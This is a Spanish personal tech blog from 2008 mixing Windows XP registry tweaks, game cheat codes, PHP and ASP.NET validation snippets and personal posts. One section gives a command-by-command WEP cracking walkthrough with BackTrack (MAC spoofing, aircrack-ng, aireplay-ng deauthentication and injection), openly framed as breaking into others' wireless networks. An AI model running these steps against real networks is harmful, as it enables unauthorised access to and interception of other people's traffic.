Más abajo se nos ofrecen tres casillas para desmarcar. "Grabar suceso en el registro del sistema" no nos ayudará demasiado, aunque si somos muy quisquillosos y queremos (y sabemos cómo) ver todos los registros de sucesos en el sistema la tendremos que dejar activada. Si no, la podemos desactivar, no alterará el funcionamiento lo más mínimo.
En cambio, desmarcaremos "Reiniciar automáticamente" y "Enviar alerta administrativa". Más abajo aparece Volcado de memoria que es precisamente lo que lleva tanto tiempo tras algunos errores. Para ahorrarnos este cansante paso, seleccionamos "(Ninguno)" y a partir de entonces ya no se volcará la memoria RAM al disco duro, ahorrándonos una cantidad notable de tiempo.
Quitar Indexacion
Por norma general esto se encuentra activado y cada vez que se realiza algún cambio en el disco, el servicio de indexación "lee" lo que ha sido modificado, disminuyendo el rendimiento general del disco duro.
Pero por suerte podemos desactivar esto. Además, la búsqueda de Windows no es que sea muy efectiva por lo que reducir un poco su efectividad no va a suponernos un gran esfuerzo. Para desactivarlo nos vamos a:
Mi PC > Disco local (C:) (O el disco en el que queramos desactivar la indexación, que puede ser cualquier disco duro > Propiedades
Y ahí veremos un cuadro marcado que dice Permitir a Index Server indizar el contenido del disco para acelerar la búsqueda.. Fácil: desmarcamos la casilla. Una vez lo hayamos hecho, nos dirá si queremos aplicar los cambios a la carpeta o a todo el contenido. Marcamos la segunda: a todo el contenido. Esto tardará un poco sobre todo si el disco es grande, pero ayudará a mejorar el rendimiento del disco duro.
Apagar más rapido
Pero podemos cambiar el tiempo que esperara antes de apagarlas a la fuerza en:
Menú Inicio > Ejecutar > Tecleamos regedit y nos vamos a:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl
A la derecha deberás localizar una variable llamada WaitToKillServiceTimeout, que traduciendo vendría a significar tiempo de espera hasta cerrar el proceso.
Seguramente tenga asignado un valor de 20000. Pues bien, es el número de milisegundos que se esperará hasta cerrar el proceso. Para acelerar esto un poco, escribe un valor inferior, por ejemplo, 2000. Tras esto, acepta los cambios.
Ya no habrá proceso que ralentice el apagado de tu máquina más de lo que tú estés dispuesto a esperar.
Si lo haces, asegurate de cerrar bien todo antes de apagar windows, porque si fuerzas programas de trabajo puedes estropearte el trabajo.
Deshabilitar y limpiar paginación
Ejecutar: regedit
Mi PC -> HKEY_LOCAL_MACHINE -> SYSTEM -> CurrentControlSet -> Control -> SessionManager -> MemoryManagement -> DisablePaginigExecutive
Dandole a modificar te dejan darle un valor binario, 0 permite paginar, 1 deja de hacerlo.
Aplicarlo solo si tenemos memoria de sobra, sino ralentiza mucho la maquina. (En algunos sitios recomiendan hacerlo apartir de 500MB de RAM, yo pondria algo más)
En resumen: predefinidamente (sin tocar nada) windows ejecuta archivos desde el archivo pagefile.sys antes de llenar la memoria, con esta opcion deja de hacerlo hasta que la memoria este llena.
Limpiar al apagar:
Ejecutar: regedit
Mi PC -> HKEY_LOCAL_MACHINE -> SYSTEM -> CurrentControlSet -> Control -> SessionManager -> MemoryManagement -> ClearPageFileAtShutdown
Dandole a modificar te dejan darle un valor binario, 0 no lo hace, 1 limpia el fichero pagefile.sys al apagar el pc.
Al hacerlo tarda más en apagar la maquina, pero si trabajamos con informacion que no queremos que otra gente descubra ganamos en seguridad, ya que no nos podran hacer un volcado del archivo.
Aviso antes del login
Mi PC -> HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> WindowsNT -> CurrentVersion -> Winlogon ->
LegalNoticeCaption (Modifica el titulo del aviso)
LegalNoticeText (Modifica el texto del aviso)
08/02/2008
Averiguar quien está conectado a tu pc por terminal
Haces clic en el botón Inicio y luego en Todos los Programas, seleccionas Accesorios y luego Símbolos del sistema.(también se puede abrir en Ejecutar: cmd)
En la ventana de Símbolos de sistema escribe netstat y pulsa la tecla Intro
Ahora en pantalla verás todas las conexiones que estás recibiendo.
Viene a ser como escribir who en la terminal de Linux .
Averiguar quien esta conectado a tu pc por terminal
Reiniciar escritorio si se te bloquea
Ademas de que este tipo de reinicio toma menor tiempo, lo que debes hacer es lo siguiente, este reinicio es mas usado en caso de que tu escritorio se quede atascado o que muchos programas no respondan.
Presiona Ctrl+Alt+Supr
Selecciona la pestaña Procesos
Busca y selecciona el proceso "explorer.exe"
Seleccionalo y dale al boton "Terminar proceso"
Se te pondra la pantalla solo en wallpaper, no tengas miedo
Cierra el "administrador de tareas de windows"
Ya esta ahora te aparecera el escritorio sin nugun programa abierto
Si en 5 segundos no se ha vuelto a ver el escritorio sigue con las instrucciones
Presione otra vez Ctrl+Alt+Supr
Selecciona la pestaña "Aplicaciones"
Presiona el boton "Tarea nueva..."
Escribe "explorer.exe" sin comillas y todo en minuscula
Aparecera de nuevo tu escritorio como antes y reiniciado.
Ocultar a tu propio pc carpetas compartidas
Y pones el simbolo $ al final del nombre esa carpeta estara oculta pero accesible en la red
Perfil de usuario
Son las preferencias y opciones de configuración del usuario, se guarda en: %SystemDrive%Documents and Settingsusuario, aunque puedes cambiarlo dentro de regedit en: Mi PC -> HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows NT -> Current Version -> ProfileList -> (SID) -> ProfileImagePath, contiene las preferencias y opciones de configuración del usuario.
Tambien se encuentra en Propiedades del Sistema -> Opciones Avanzadas -> Perfiles de Usuario
Para crearse el perfil de un usuario, tienes que logearte con el usuario, no sirve solo crearlo.
Mejorar bando de ancha
1ªOpción: (Solo Windows XP SP2)
Inicio -> Ejecutar -> gpedit.msc
Aparecen las directivas de grupo, doble click en Configuración de Equipo.
Selecciona Plantillas Administrativas -> Red -> Programador de Paquetes Qos -> Limitar el ancho de banda reservado
Habilitarlo y poner el 0% en Límite de Ancho de Banda.
Aplicar y Aceptar.
2ªOpción: (Windows XP mediante registro)
Inicio -> Ejecutar -> regedit
En el menú de la izquierda del registro sigues la ruta siguiente:
HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services Tcpip Parameters
En el panel de la derecha, introduces los valores siguientes: (Creas, acudiendo a Edición Nuevo Valor DWORD, y/o modificas, clicando dos veces sobre el valor.)
DefaultTTL = "80" hex (o 128 decimal)
EnablePMTUBHDetect = "0"
EnablePMTUDiscovery = "1"
GlobalMaxTcpWindowSize = "7FFF" hex (o 32767 decimal)
TcpMaxDupAcks = "2"
SackOpts = "1"
Tcp1323Opts = "1"
TcpWindowSize = "7FFF" hex (o 32767 decimal)
Sales del editor del registro y reinicias Windows.
Analisis de contraseñas de redes con Back Track 2
Podemos trabajar directamente desde el CD sin instalar el Back Track 2, pero alguno de los procesos necesarios para piratear redes como el airmon necesitan guardar archivos, para luego trabajar con ellos, asique necesitaríamos montar alguna partición o disco extraible para poder trabajar en el. Para ello: Montar/Desmontar dispositivos
Login: root toor (por ejemplo)
#starx
Empezamos entorno grafico:(Pero trabajaremos por terminal)
Tener cuidado ya que el teclado estara configurado en USA
#df -Th dice las particiones que tengo
Deveriamos introducirnos en alguna de las particiones y trabajar sobre ella creando una carpeta para guardar alli las aplicaciones.
Averiguaremos de que targeta disponemos con #iwconfig #ifconfig (targeta que nos diga $iwconfig, consideraremos que es ra0)
La apagaremos #ifconfig ra0 down
Cambiaremos la mac(solo mientras se encuentre encendido el pc en esta sesion) (se puede hacer por ifconfig....pero....)
#macchanger --help
#macchanger --mac=00:11:22:33:44:55 ra0
La encenderemos #ifconfig ra0 up
#airmon-ng muestra la lista de targetas y los drivers asociados a estas targetas
#airmon-ng start ra0 modo monitor a la targeta(escuchar todo, aunque no vaya a ella)
#airodump-ng muestra por pantalla puntos de acceso disponibles, y sus clientes asociados a ellos
#airodump-ng ra0 BSSID(mac),PWR(potencia con la que te llega),Beacons(faros, solo afecta en lo que vaya a tardar en aparecernos en la lista de redes disponible),#Data(paquetes con vectores de iniciacion(los que registraremos con la opcion -ivs)),MB(megabytes por segundo de la inalambrica(no tiene que ver con su conexion a internet), ENC(OPN=abierta,WPA,WEB,?=no lo tiene claro),ESSID(nombre del puesto),STATION(mac del cliente)
Si donde nos colamos tiene filtrado mac devemos ver a algun cliente, y cuando no este conectado suplantarlo.
Para capturar solo los paquetes con devilidad criptografica con los que trabajaremos:
#airodump-ng --ivs --write (nombrefichero) --channel (nºcanal)
Necesitamos 2millones de ivs para obtener buenos resultados, en total deven ocupar menos de 40MB...si vemos que los genera muy lentamente tenemos que forzar la aparicion de trafico, para ello en otra ventana hacemos esto:
#aireplay-ng
#aireplay-ng --fakeauth 30 -e iesciervaC14 -a 00:20:a6:50:26:d0 fakeauth es el tiempo ciclico con el que se conecta de nuevo en segundos, e es el punto de acceso al que nos conectamos, a es la BSSID de dicha targeta(mac)
Si no nos aceptasen el trafico generado lo que haremos sera a un usuario que veamos conectado le desautentificariamos una y otra vez, que igualmente generara el trafico que deseamos, = que si nosotros produgeramos el trafico:
#aireplay-ng -0 .... (-0 en vez de --fakeauth)(buscar + info)
#aireplay --arpreplay -e (nombretargeta) -a (BSSID) -b (BSSID) -h (nuestramac) -x (veces/s) ra0
-arpreplay es el tipo de ataque, -a y -b uno es un filtro y el otro la targeta a la que atacas, -x son las vees por segundo que lo reintentara
Cuando tengamos suficientes ivs usaremos la orden:
#aircrack-ng
#aircrack-ng -a 1 -b ((BSSID) mac punto de acceso) *.ivs
Se puede ejecutar antes de terminar la captura, puede cortarse, pero con relanzarlo basta.
Te dara la contraseña en hexadecimal y en texto.
Sacamos la targeta de modo monitor #airmon-ng stop ra0
Para conectarse con la contraseña obtenida #iwconfig key s:(contraseña de texto) ra0
o #iwconfig key (contraseña hexadecimal) ra0
Falta la IP y tal, se suele configurar con #dhclient ra0, pero si no funciona tenemos que poner a mano al ruter la mascara,IP....para ello tendriamos que averiguar en que subred nos encontraremos, con wireshark porejemplo.
Para desencriptar IPs mediante wireshark:
Opciones>Protocolo>802.11>keys (introducimos la contraseña obtenida)
La maquina que más recivira sera el router ya que todo pasa por el.
aircrack-ptw 1.0.0 en vez de usar .ivs usa .cap, por lo que en la orden de captura de trafico tendriamos que omitir el --ivs.
La gente suele usar siempre las mismas contraseñas simples, por lo que diccionarios pequeños de contraseñas pueden ser muy efectivos, unos muy buenos son aspell y myspell, ambos en ingles y español.
Atacando redes WEP si tienen autentificacion de shared key es facil descifrarlo mediante ataques chopchop o defragmentacion.
Conector Jumper Maestro/Esclavo
En la parte trasera de los discos duros (IDE), lectoras, y grabadoras se encuentra el conecctor jumper, que sirve para elegir las opciones maestro y esclavo. El elemento maestro tendrá preferencia en el equipo con respecto al esclavo. Éste conector se encuentra habitualmente:

Habitualmente tienen dos filas de 4 pines en discos duros, y de 3 pines en lectores y grabadores.
Como configurarlos suele estar especificado en el propio componente en una pegatina, o grabado en la chapa, pero la gran mayoria siguen éstos estandars: (En negrita donde se encuentre el jumper, por si acaso lo comento despues)
Discos duros(IDE):
:::: Maestro (1ªpareja de pines)
:::: Esclavo (Sin conectar el jumper)
:::: Maestro sin esclavo posible (Las dos primeras parejas de pines)
::::Elegido por el cable (2ªpareja)
:::: (Dependiendo el sistema operativo) Limita a 32GB el disco duro (Ultima pareja)
Lectores y grabadores:
::: Maestro (Ultima pareja)
::: Esclavo (2ª pareja)
::: Elegido por el cable (1ªpareja)
La opción elegido por el cable o (cable select), significa que dependiendo de la posición que ocupe en el cable IDE, será maestro o esclavo, (lo considero la mejor opción).
Localizando el extremo del cable que se conecta a la placa base, el conector que se encuentra en el otro extremo es el conector para maestro, y el que se encuentra a mitad del cable es el conector para esclavo.
Trucos Duke Nukem 3D
Introduce las palabras durante el juego:
DNCORNHOLIO, modo dios, jetpack ilimitado
DNKROZ, dios
DNSTUFF, munición, armas, llaves, objetos
DNCLIP, atravesar paredes. No se puede salir del mapa, el juego se cuelga
DNMONSTERS, elimina los monstruos del nivel
DNITEMS, items
DNHYPER, esteroides
DNSCOTTYXNN, para pasar al nivel NN de la fase X. Sirve para acceder a 5 niveles secretos
DNALLEN, jetpack infinito
DNWEAPONS, armas y munición
DNKEYS, todas las llaves
DNUNLOCK, abrir todas las puertas
DNCASHMAN, dinero al pulsar la barra de espacio
DNSHOWMAP, mapa completo
DNCOORDS, coordenadas
DNRATE, frames por segundo
DNDEBUG, información de debug
12/02/2008
Copiar configuración mozilla firefox de windows a linux
En algunas versiones de linux te dan la opción de importar configuraciones de otras particiones y programas, pero no en todas.
La forma segura de copiar dichas configuraciones es ir a la partición de donde queremos copiar la configuración, siendo windows se encontrara en “/media/windows/Documents and Settings/NOMBRE DE USUARIO/Datos de programa/Mozilla/Firefox“, copias el contenido de la carpeta, y lo pegamos en "/home/NOMBRE DE USUARIO/DESCKTOP O ESCRITORIO/.mozilla/firefox". Ten cuidado ya que .mozilla es una carpeta oculta. En "NOMBRE DE USUARIO" es tu nombre de usuario, y en "DESCKTOP O ESCRITORIO" esque segun la versión estara en ingles o español.
Con esto copiaras complementos, extensiones, y configuraciones de firefox ^^
14/02/2008
Yoshi´s Universal Gravitation
Modo desafío y 1ºdesafio: Vence a Bowser (monstruo final) dos veces en modo historia.
Desafíos 2, 3, 4: Termina la Galeria de Huevos (Egg Gallery).
Desafío final(5): Terminar el juego en modo historia consiguiendo todas las medallas de oro.
Si solo llegas al final de la pantalla te la marcan como pasada, si consigues los objetivos te dan medalla de plata, y la posibilidad de un minijuego, y si consigues los objetivos máximos (no te dicen cuales son), te dan medalla de oro, y más posibilidades de jugar al minijuego.
Dragon con ilusion optica
El efecto que se quiere dar es que mires desde donde mires parezca que el dragón te esta mirando, hay varias versiones:
Blanco y negro (para colorear).
Y por si con el video y las instrucciones no te queda claro como se monta:
Asi NO:
Asi SI:
Si buscáis por internet seguro que encontráis otras versiones ^^
Mas ilusiones recortables
Continuando "Dragón con ilusión óptica" os dejo estos otros recortables, que se montan de la misma manera, para crear una ilusión similar ^^
15/02/2008
Trucos Final Conquest
Para poder escribir durante el juego pulsa Intro, los codigos de los trucos son:
killemall: Mata a todas las unidades enemigas.
healemall: Cura todas tus unidades.
makemerich: 3.000 de oro y 100 gemas.
makefamous: 7 de gloria.
fasterfaster: Acelera el entrenamiento de las unidades y sus actualizaciones.
octrta: Los tres trucos anteriores a la vez ^^
recharge: Recarga los poderes y las habilidades de tus colonias.
16/02/2008
Smack Down en Torrevieja
WWE Smack Down de ruta por España:
Fecha: April 11, 2008
Hora: 20:00
Lugar concreto: Palacio de los Deportes Infanta Cristina
Ciudad: Torrevieja, España
Pasa por otras ciudades, pero esta es la que me interesa, ya que aparte de ser mi cumpleaños, voi con mi novia y Mario, a ver si se apunta algun colega más ^^
Compra de entradas:
Cargo por teléfono: TickTackTicket: 902 15 00 25 ; CAM: 902 100 11
Sitios Web para Tickets: www.cam.es ; www.ticktackticket.com
Precios de Tickets: 80€, 60€ & 40€
Tambien se pueden comprar en Fnac.
Protagonizando: Rey Mysterio; Batista; Edge; Matt Hardy; MVP y más!
19/02/2008
Funciones basicas php
La primera función incrementa en 1 la variable que introduces, ejecutandola X veces le sumaras X, es un poco tonteria, pero más o menos ya veis como va la cosa...
//Función que incrementa una variable
function mas (&$a){
$a = $a + 1;
}
Las siguientes sirven para que el codigo html generado por el fichero.php sea legible correctamente, añadiendo la función a los (echo "";):
//Función que genera espacios en blanco
function s($n) {
return str_repeat(" ",$n);
}
//Función que genera tabuladores
function t($n) {
return str_repeat("t",$n);
}
//Función que genera Intros
function n($n) {
return str_repeat("n",$n);
}
Return indica que se va a devolver, str_repeat indica el primer simbolo repetido tantas veces como diga el 2º, nosotros le pedimos que escriba espacios " ", y tabuladores "/t", tantas veces como diga la variable que le damos.
Para usar estas funciones:
echo t(2)."<h1>Por ejemplo</h1>n";
Validaciones basicas con php
Validar cadena de letras:
function alfa_ok($alfa){
$alfa=trim($alfa); //Supresion de blancos
return ereg("^[a-zA-ZñÑáéíóúÁÉÍÓÚüÜ]{1,}$",$alfa);
}
Validar cadena de numeros:
function num_ok($num){
$num=trim($num); //Supresion de blancos
return ereg("^[0-9]{1,}$",$num);
}
Validar cadena alfanumerica:
function alfanum_ok($alfanum){
$alfanum=trim($alfanum); //Supresion de blancos
return ereg("^[0-9a-zA-ZñÑáéíóúÁÉÍÓÚüÜ]{1,}$",$alfanum);
}
Validar cadena alfabetica, y caracteres especiales habituales
function alfasim_ok($alfasim){
$alfasim=trim($alfasim); //Supresion de blancos
return ereg("^[a-zA-ZñÑáéíóúÁÉÍÓÚüܺª/@$€ ,._;:!¡?¿]{1,}$",$alfasim);
}
Validar cadena alfanumerica, y caracteres especiales habituales
function alfanumsim_ok($alfanumsim){
$alfanumsim=trim($alfanumsim); //Supresion de blancos
return ereg("^[0-9a-zA-ZñÑáéíóúÁÉÍÓÚüܺª/@$€ ,._;:!¡?¿]{1,}$",$alfanumsim);
}
trim(); suprime los espacios en blanco tanto a la izquierda como a la derecha.
ereg(); comprueba que la variable que leintroduces al final coincide con los caracteres que pones. Si usaramos eregi(); no necesitariamos poner mayusculas dentro, ya que eregi lee mayusculas y minusculas como un mismo simbolo.
El contenido de ereg(), o eregi() debe ir en "", los simbolos ^ y $ significan principio y fin de cadena, no son obligatorios, pero recomiendo ponerlos. Los simbolos que quieres que haya en la expresión que validas se ponen de la siguiente manera: [Simbolos que quieras validar]{Nºminimo de caracteres, Nºmaximo de caracteres}. Si el numero minimo lo dejas en blanco es 0, si dejas el maximo en blanco es infinito, si solo pones un numero sin coma significa que quieres obligatoriamente ese numero de caracteres. Ejemplos:
ereg([123]{,5}); Significa que quieres un numero compuesto por unos, doses, y treses, de 0 a 5 caracteres.
22/02/2008
Crear/Cargar Cookies en asp.net
Existen muchos metodos, los que más me gustan:
-1º: Es automatico, pero solo puedes dar un valor a la cookie
Crear Cookie:
FormsAuthentication.SetAuthCookie("Valor de la Cookie", False) 'Si pones una variable no pongas ""
Leer Cookie:
User.identity.name
-2º: Elijes nombre de la Cookie, y de la variable, puedes poner en una sola cookie tantas variables como quieras,y puedes crear tantas cookies como quieras.
Crear Cookie:
Response.Cookies("Nombre de la Cookie")("Nombre de la variable") = "Valor de la variable" 'Si pones una variable no pongas ""
Leer Cookie:
Response.WriteRequest.Cookies("Nombre de la Cookie")("Nombre de la variable")
Validar fecha con php
Función que dice si una fecha es valida o no, necesitamos una principal, que vea los dias que tiene cada año, mes... y otra que diga que años son bisiestos.
function fecha_ok(&$fecha) {
$fecha=trim($fecha); //supresion de blancos
$patron_ok=eregi("^([0-9]{1,2})[-/.]([0-9]{1,2})[-/.]([0-9]{4})$",$fecha,$v);
if (!patron_ok)
return false;
else {
$dm=array(0,31,28,31,30,31,30,31,31,30,31,30,31); //dias del mes
$d=(int)$v[1]; $m=(int)$v[2]; $a=(int)$v[3];
if (bisiesto($a)) $dm[2]=29;
if ($d<1 || $d>$dm[$m]) return false;
if ($m<1 || $m>12) return false;
return true;
}
}
function bisiesto($anio) {
return $anio%400? ($anio%4? 0:1): 0; //Los años bisiestos son cada 4 años, excepto los que hacen 400
}
Validar NIF con php
Necesitamos una funcion que compruebe el numero en si, que llame a otra que compruebe la letra:
function nif_ok(&$nif) {
$nif=trim($nif); //supresion de blancos
//$letras="T|R|W|A|G|M|Y|F|P|D|X|B|N|J|Z|S|Q|V|H|L|C|K|E"; //letras permitidas en el nif
$patron_ok=eregi("^([0-9]{8})-($letras?)$",$nif,$v); //comprobando el patron de nif
if ($patron_ok) {
if (!$v[2])
$nif.=$v[2]=letraNIF($v[1]);
if (letraNIF($v[1])!=$v[2]){
return false; //si la letra es incorrecta devolver no valido
} else {
return true; //si la letra es correcta, validar
}
} else {
return false; //si el patron no es correcto, devolver falso
}
}
function letraNIF($nif){
return substr("TRWAGMYFPDXBNJZSQVHLCKE",$nif%23,1);
}
Validar ccc con php
El Codigo de Cuenta Cliente consta de 4 numeros de entidad, 4 numeros de oficina, 2 digitos de control (el primero valida los numeros de entidad y oficina, y el segundo valida el numero de cuenta), y 10 digitos de numero de cuenta.
Necesitamosdos funciones, una que valide el numero, y otra que compruebe que el numero de control corresponde con ese numero:
function ccc_ok(&$ccc)
{
global $digitos;
$ccc=trim($ccc);
$patron_ok=ereg($s="^(${digitos}{4})-?(${digitos}{4})-?([0-9 *])([0-9 *])-?($digitos{10})$",$ccc,$v);
if (!$patron_ok)
return false;
$dc1=obtener_digito($v[1].$v[2]);
$dc2=obtener_digito($v[5]);
if ($v[3]==" " || $v[3]=="*") $v[3]=$dc1;
if ($v[4]==" " || $v[4]=="*") $v[4]=$dc2;
if ($v[3]==$dc1 && $v[4]==$dc2)
{
$ccc=$v[1].$v[2].$v[3].$v[4].$v[5];
return true;
} else return false;
}
function obtener_digito($valor){
$valores = array(1, 2, 4, 8, 5, 10, 9, 7, 3, 6);
if (strlen($valor)==8) $valor="00".$valor;
$control = 0;
for ($i=0; $i<10; $i++)
$control +=$valor[$i] * $valores[$i];
$control = 11 - ($control % 11);
if ($control == 11) $control = 0;
else if ($control == 10) $control = 1;
return $control;
}
Trucos Heroes 3 of might and magic
Pulsa tabulador para que aparezca la linea para escribir mensages, y escribe los trucos:
nwctheconstruct - 10.000 de oro, 100 de cada recurso natural.
nwczion - Todos los edificios
nwcthereisnospoon - 999 puntos de hechizo en el héroe elegido
nwcwhatisthematrix - Revela los mapas
nwcphisherprice - Nuevos colores
nwcagents - Llenar un ejército con caballeros negros
nwcoracle - Revelar el mapa de puzzle a todos los jugadores
nwctrinity - Llenar un ejército con arcángeles
nwclotsofguns - El héroe obtiene una de cada una de las máquinas de guerra
nwcneo - El héroe sube un nivel
nwcignoranceisbliss - Esconde los mapas
nwcbluepill - Pierdes el juego
nwcredpill - Ganas el juego
nwcnebuchadnezzar - Movimiento ilimitado para el héroe
nwcmorpheus - Moral máxima
nwcfollowthewhiterabbit - Suerte máxima
25/02/2008
Validar cadenas de texto en asp.net
Os comento dos tipos de validación, la primera es comprobar que el campo no se ha dejado en blanco:
<asp:RequiredFieldValidator runat="server" ControlToValidate="ID del texto a validar" Display="Dynamic"> Texto que aparece si no valida
</asp:RequiredFieldValidator>
La segunda comprueba que el texto coincide con un tipo de cadena elegida por ti:
<asp:RegularExpressionValidator ControlToValidate="ID del campo de texto a validar" ValidationExpression="Expresión de validación" Display="Static" runat=server> Texto que aparecera si no valida </asp:RegularExpressionValidator>
Ambos permiten font-size, font-type, y similares, ID, y otras alternativas.
En el 2º, la expresión de validación se debe poner de la siguiente manera:
"(^([Simbolos]{Numero de veces})$)"
En simbolos se pueden poner numeros, letras, signos especiales... y si quieres poner de un simbolo a otro separa el 1º y ultimo por -. Ejemplo: 1-9
En numero de veces si pones un numero significa que tiene que haber ese numero exacto de símbolos, si pones dos números, separados por coma, el 1º es el numero mínimo de caracteres de la expresión, el 2º el numero máximo, que si se deja en blanco es infinito.
Si se quieren poner varias cadenas seguidas se separan por -, y englobándolas todas en paréntesis. Ejemplo:(^([0-9]{8})-([A-Z]{1})$)
29/02/2008
Nuevo piso
Ya tengo las llaves del nuevo piso ^^, en cuanto termine los exámenes empezare a tomar medidas, y prepararlo todo para mi independencia ^^















